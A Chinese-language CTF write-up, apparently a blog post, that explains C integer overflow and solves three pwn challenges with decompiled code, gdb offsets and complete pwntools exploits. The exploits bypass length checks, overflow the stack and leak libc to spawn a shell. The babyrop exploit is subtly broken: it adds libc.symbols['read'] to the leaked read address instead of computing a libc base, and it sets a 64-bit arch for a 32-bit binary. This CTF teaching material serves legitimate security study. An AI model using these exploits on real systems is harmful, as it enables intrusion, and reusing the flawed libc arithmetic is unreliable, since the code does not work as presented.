整数溢出详解

前言

我们前面学习了栈迁移等一系列知识,想起来还有整数溢出没有学习,这里记录一下学习过程,也分享给各位进行学习。

基础知识

CTFwiki是这么说的:

在 C 语言中,整数的基本数据类型分为短整型 (short)整型 (int)长整型 (long),这三个数据类型还分为有符号无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:

类型 字节 范围
short int 2byte(word) 0至32767(0-0x7fff) -32768至-1(0x8000~0xffff)
unsigned short int 2byte(word) 0至65535(0至0xffff)
int 4byte(dword) 0至2147483647(0~0x7fffffff) -2147483648至-1(0x80000000~0xffffffff)
unsigned int 4byte(dword) 0至4294967295(0~0xffffffff)
long int 8byte(qword) 正: 0~0x7fffffffffffffff 负: 0x8000000000000000~0xffffffffffffffff
unsigned long int 8byte(qword) 0~0xffffffffffffffff

当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

溢出类漏洞

计算机中有 4 种溢出情况,以 32 位整数为例。

① 无符号上溢:无符号数 0xffffffff 加 1 会变成 0。

② 无符号下溢:无符号数 0 减去 1 会变成 0xffffffff,即-1。

③ 有符号上溢:有符号正数 0x7fffffff 加 1 变成 0x80000000, 即从 2147483647 变成了-2147483648。

④ 有符号下溢:有符号负数 0x80000000 减去 1 变成 0x7fffffff,即从-2147483648 变成了 2147483647。

一个经典的整数溢出例子就是 c 语言的 abs 函数,int abs(int x),该函数返回 x 的绝对值。但当 abs()函数的参数是 0x80000000 即-2147483648 的时候,它本来应该返回2147483648,但正整数的范围是 0-2147483647,所以他返回的仍然是个负数,即本身-2147483648。

看起来不是很好理解吧,这里我比较通俗的画图进行解释(这里以unsigned short int为例)

1字节->8位

经过转化,可以看到是符合我们上面给出的范围的,如果我们输入一个十进制数为65536呢?

65536相当于在65535后面加上一个1,这样的话其实就溢出了,根据计算机的存储原理,这样的话就会变为0,然后就会变成

1 00000000 00000000这个情况,但是unsigned short int占用2字节,所以取00000000 00000000

所以我们是不是就是根据上面这个原理,将一些很大的数或者负数会和某一个数字相同,这其实也就是整数溢出的利用原理

我们也可以写一个程序,看一下是不是符合我们上面说的这个逻辑

#include <stdio.h>
int main(){
    unsigned short int var1 = 1,var2 = 65537;
    if (var1==var2)
    {
        printf("stackoverflow");
    }
    return 0;
}

可以看到经过测试确实是存在上述逻辑的,接下来结合题目进行讲解

实操

int_overflow

溢出类漏洞

checksec&file

32位程序,开启了堆栈不可执行

IDA静态分析

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch] BYREF

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

就是一个选择选项的逻辑,如果选1就跳转到login(),如果选2则退出

login()

int login()
{
  char buf[512]; // [esp+0h] [ebp-228h] BYREF
  char s[40]; // [esp+200h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  memset(buf, 0, sizeof(buf));
  puts("Please input your username:");
  read(0, s, 0x19u);
  printf("Hello %s\n", s);
  puts("Please input your passwd:");
  read(0, buf, 0x199u);
  return check_passwd(buf);
}

这里大体看一下是不存在漏洞的,再看一下check_passwd()

check_passwd()

char *__cdecl check_passwd(char *s)
{
  char dest[11]; // [esp+4h] [ebp-14h] BYREF
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    return (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    return strcpy(dest, s);
  }
}

这里存在栈溢出的点,可以利用strcpy将s的值复制给dest,这就存在栈溢出了

可以看到定义了一个无符号变量v3,v3就是输入的变量s的长度

然后这里利用strlen()对变量s的长度进行了检测,其实这里也就是我们之后利用整数溢出的漏洞利用点

what_is_this()

int what_is_this()
{
  return system("cat flag");
}

后门函数

其实这道题目的思路也就有了,就是利用整数溢出绕过检测,然后ret2text

gdb动调

在check_passwd下一个断点

b *0x080486A4

之后输入username和passwd看一下栈结构找一下溢出字节

>>> 0xffffce80-0xffffce6c
20
20+4=24

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='i386'

p=remote("61.147.171.105",59290)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

backdoor=0x0804868B
ru('Your choice:')
s('1')

r
s('evil')

payload = b'a'*0x14 +b'a'*4 + p32(backdoor)
payload = payload.ljust(260,b'a')
ru('Please input your passwd:')
s(payload)

p.interactive()

解释一下exp中最关键的一步

首先这里是先进行了一个栈溢出,覆盖了父函数的ebp,然后将ret_addr设定为后门函数,之后为什么我们要填充payload长度为260呢

这里v3的类型是unsigned __int8,是无符号型,而且是int8的,一共8位,这里算一下十进制

最大是255,所以我们这里的整数溢出是

3+255->258,如果我们长度超过了258即可溢出,如果是258的话其实就是0

我们passwd的范围是3<=passwd<8,所以这里我选用了260

pwn2_sctf_2016

符号转换类漏洞

file&checksec

IDA分析

main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

调用了vuln()函数

vuln()

int vuln()
{
  char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(nptr, 4);
  v2 = atoi(nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(nptr, v2);
  return printf("You said: %s\n", nptr);
}

这里存在栈溢出漏洞,我们定义的nptr()变量距离ebp距离为0x2c,如果我们绕过长度限制,是不是就可以读入超过0x2c距离的字节呢,因此就产生栈溢出

get_n()

int __cdecl get_n(int a1, unsigned int a2)
{
  unsigned int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int i; // [esp+Ch] [ebp-Ch]

  for ( i = 0; ; ++i )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || i >= a2 )
      break;
    v2 = i;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + i;
  *(_BYTE *)(a1 + i) = 0;
  return result;
}

这里通俗一点讲,其实就是第一个参数是指针,第二个参数是输入的长度,这里有一个整数溢出漏洞点,我们这里的第二个参数的类型是

unsigned int,但是回到我们的vuln(),这里定义的第二个参数其实是int类型的,属于强制类型转换,因此产生整数溢出漏洞

gdb动调

看一下溢出字节

0xffffcbd8-0xffffcbac=44
44+4=48

所以我们思路也就有了:

  • 对于绕过长度限制,我们可以利用-1,因为对于这种进行强制类型转换的,前面也说了在get_n()中第二个参数的类型是unsigned int,但vuln()调用get_n()函数的时候第二个参数的类型是int,所以我们int里的-1->0xffffffff,对于unsigned int->4294967295,从而绕过长度限制
  • 之后利用printf泄露libc基地址,ret2libc打法

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='i386'

p=remote("node4.buuoj.cn",25883)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('Ubantu16 32bit.so')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

ret=0x08048346
printf_plt=0x08048370
printf_got=elf.got['printf']
leak('printf_got',printf_got)
main=elf.symbols['main']
ru('How many bytes do you want me to read? ')
sls(-1)

ru('bytes of data!\n')
pl='a'*48+p32(printf_plt)+p32(main)+p32(printf_got)
sl(pl)
ru('\n')
printf=uu32(r(4))
leak('printf',printf)

libcbase=printf-libc.symbols['printf']
leak('libcbase',libcbase)

system=libcbase+libc.symbols['system']
leak('system',system)

binsh=libcbase+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)

ru('How many bytes do you want me to read? ')
sls(-1)

pl2='a'*48+p32(system)+p32(main)+p32(binsh)
ru('bytes of data!\n')
sl(pl2)

p.interactive()

[OGeek2019]babyrop

strncmp绕过+整数溢出

file&checksec

IDA静态分析

这道题目去除了符号表

main()

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h] BYREF
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

调用了sub_80486BB(),然后fd是open的返回值

如果操作成功,它将返回一个文件描述符,如果操作失败,它将返回-1;

之后就是一个read(),就是将fd所指向的随机数写入到buf,长度4个字节

之后再v2赋值,再对v2进行判断

sub_80486BB()

int sub_80486BB()
{
  alarm(0x3Cu);
  signal(14, (__sighandler_t)handler);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  return setvbuf(stderr, 0, 2, 0);
}

sub_804871F()

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s[32]; // [esp+Ch] [ebp-4Ch] BYREF
  char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF
  ssize_t v5; // [esp+4Ch] [ebp-Ch]

  memset(s, 0, sizeof(s));
  memset(buf, 0, sizeof(buf));
  sprintf(s, "%ld", a1);
  v5 = read(0, buf, 0x20u);
  buf[v5 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return (unsigned __int8)buf[7];
}

这里是先将随机数通过sprintf()函数写入数组s中,之后v5 read()读取buf 0x20的大小,之后再比较buf与s的前v1个字符,如果成功则打印字符,不相同则退出程序,然后返回buf[7]的值,所以我们需要构造buf[7]

sub_80487D0()

ssize_t __cdecl sub_80487D0(char a1)
{
  char buf[231]; // [esp+11h] [ebp-E7h] BYREF

  if ( a1 == 127 )
    return read(0, buf, 0xC8u);
  else
    return read(0, buf, a1);
}

就是一个判断,如果a1的值等于127,则想buf中写入0xc8的大小,否则写入a1大小的值,这里也是存在栈溢出的点

思路:

  • 首先绕过strncmp()函数
  • 构造合适大小的a1值
  • ret2libc

绕过strncmp()

我们经过前面的分析,buf是生成的随机数,s是一个数组,是不可能完全相等的,但是我们可以利用00截断,将buf的长度设置为0,这样的话其实就可以绕过了

strcmp的特性是遇到’\0’就停止比较字符串,这里可以考虑00截断绕过。

构造合适大小的a1值

这个就需要利用ASCII码转义'\x'了,因为a1被定义为char类型,所以需要利用ascii码转义

'\xhh'->两位十六进制
'\xff'->255

所以可以进行构造一个能够溢出的长度

exp:

#coding=utf-8 
import os
import sys
import time
from pwn import *
from ctypes import *

context.log_level='debug'
context.arch='amd64'

p=remote("node4.buuoj.cn",28775)
#p=process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so')

s       = lambda data               :p.send(data)
ss      = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sls     = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def dbg():
    gdb.attach(p,'b *$rebase(0x13aa)')
    pause()

write_plt=elf.symbols['write']
leak('write_plt',write_plt)
read_got=elf.got['read']
leak('read_got',read_got)
main=0x08048825

pl='\00'+'\xff'*7
s(pl)
ru('Correct\n')

pl2=cyclic(235)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
s(pl2)
read=uu32(r(4))
leak('read',read)

system=read+libc.symbols['read']
leak('system',system)
binsh=read+next(libc.search('/bin/sh\00'))
leak('binsh',binsh)

s(pl)
ru('Correct\n')

pl3=cyclic(235)+p32(system)+'a'*4+p32(binsh)
s(pl3)

p.interactive()

  • 第一个框,绕过strncmp()函数
  • 第二个框,进行构造ret2libc打法
  • 第三个框getshell

参考

整数溢出 - CTF Wiki (ctf-wiki.org)

点击收藏 | 1 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖